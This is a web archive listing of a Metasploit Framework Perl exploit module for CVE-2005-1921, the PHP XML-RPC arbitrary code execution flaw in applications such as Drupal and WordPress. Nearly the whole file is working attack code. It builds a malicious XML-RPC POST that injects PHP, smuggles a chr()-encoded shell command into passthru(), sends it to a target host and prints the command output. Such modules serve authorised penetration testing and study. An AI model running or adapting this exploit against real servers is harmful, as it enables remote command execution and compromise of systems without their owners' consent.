home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / php_xmlrpc_eval.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  131 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::php_xmlrpc_eval;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. use bytes;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info = {
  18.     'Name'     => 'PHP XML-RPC Arbitrary Code Execution',
  19.     'Version'  => '$Revision: 1.4 $',
  20.     'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
  21.     'Arch'     => [ ],
  22.     'OS'       => [ ],
  23.     'Priv'     => 0,
  24.     'UserOpts' =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 80],
  28.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  29.         'RPATH' => [1, 'DATA', 'Path to the XML-RPC script', '/xmlrpc.php'],
  30.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  31.       },
  32.  
  33.     'Description' => Pex::Text::Freeform(qq{
  34.         This module exploits an arbitrary code execution flaw discovered in many
  35.         implementations of the PHP XML-RPC module. This flaw is exploitable through
  36.         a number of PHP web applications, including but not limited to Drupal, Wordpress,
  37.         Postnuke, and TikiWiki.
  38. }),
  39.  
  40.     'Refs' =>
  41.       [
  42.           ['OSVDB', '17793'],      
  43.         ['BID', '14088'],
  44.         ['CVE', '2005-1921'],
  45.         ['MIL', '49'],
  46.       ],
  47.  
  48.     'Payload' =>
  49.       {
  50.         'Space' => 512,
  51.         'Keys'  => ['cmd', 'cmd_bash'],
  52.       },
  53.  
  54.     'Keys' => ['xmlrpc'],
  55.  
  56.     'DisclosureDate' => 'Jun 29 2005',
  57.   };
  58.  
  59. sub new {
  60.     my $class = shift;
  61.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  62.     return($self);
  63. }
  64.  
  65. sub Exploit {
  66.     my $self = shift;
  67.     my $target_host    = $self->GetVar('RHOST');
  68.     my $target_port    = $self->GetVar('RPORT');
  69.     my $vhost          = $self->GetVar('VHOST') || $target_host;
  70.     my $path           = $self->GetVar('RPATH');
  71.     my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;
  72.  
  73.     # Encode the command as a set of chr() function calls
  74.     my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
  75.  
  76.     # Create the XML-RPC post data
  77.     my $data =
  78.       '<?xml version="1.0"?>'.
  79.       "<methodCall><methodName>".Pex::Text::AlphaNumText(int(rand(128)+32))."</methodName>".
  80.       "<params><param><name>".Pex::Text::AlphaNumText(int(rand(128)+32))."');".
  81.       "echo('_cmd_beg_\n');".
  82.       "passthru($byte);".
  83.       "echo('_cmd_end_\n');".
  84.       ";//</name><value>".
  85.       Pex::Text::AlphaNumText(int(rand(128)+32)).
  86.       "</value></param></params></methodCall>";
  87.  
  88.     my $req =
  89.       "POST $path HTTP/1.1\r\n".
  90.       "Host: $vhost:$target_port\r\n".
  91.       "Content-Type: application/xml\r\n".
  92.       "Content-Length: ". length($data)."\r\n".
  93.       "Connection: Close\r\n".
  94.       "\r\n". $data . "\r\n";
  95.  
  96.     my $s = Msf::Socket::Tcp->new(
  97.         'PeerAddr'  => $target_host,
  98.         'PeerPort'  => $target_port,
  99.         'LocalPort' => $self->GetVar('CPORT'),
  100.         'SSL'       => $self->GetVar('SSL'),
  101.       );
  102.  
  103.     if ($s->IsError){
  104.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  105.         return;
  106.     }
  107.  
  108.     $self->PrintLine("[*] Sending the malicious XML-RPC POST request...");
  109.  
  110.     $s->Send($req);
  111.  
  112.     my $results = $s->Recv(-1, 20);
  113.     $s->Close();
  114.  
  115.     if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
  116.         my $out = $1;
  117.         $out =~ s/^\s+|\s+$//gs;
  118.         if ($out) {
  119.             $self->PrintLine('----------------------------------------');
  120.             $self->PrintLine('');
  121.             $self->PrintLine($out);
  122.             $self->PrintLine('');
  123.             $self->PrintLine('----------------------------------------');
  124.         }
  125.     }
  126.  
  127.     return;
  128. }
  129.  
  130. 1;
  131.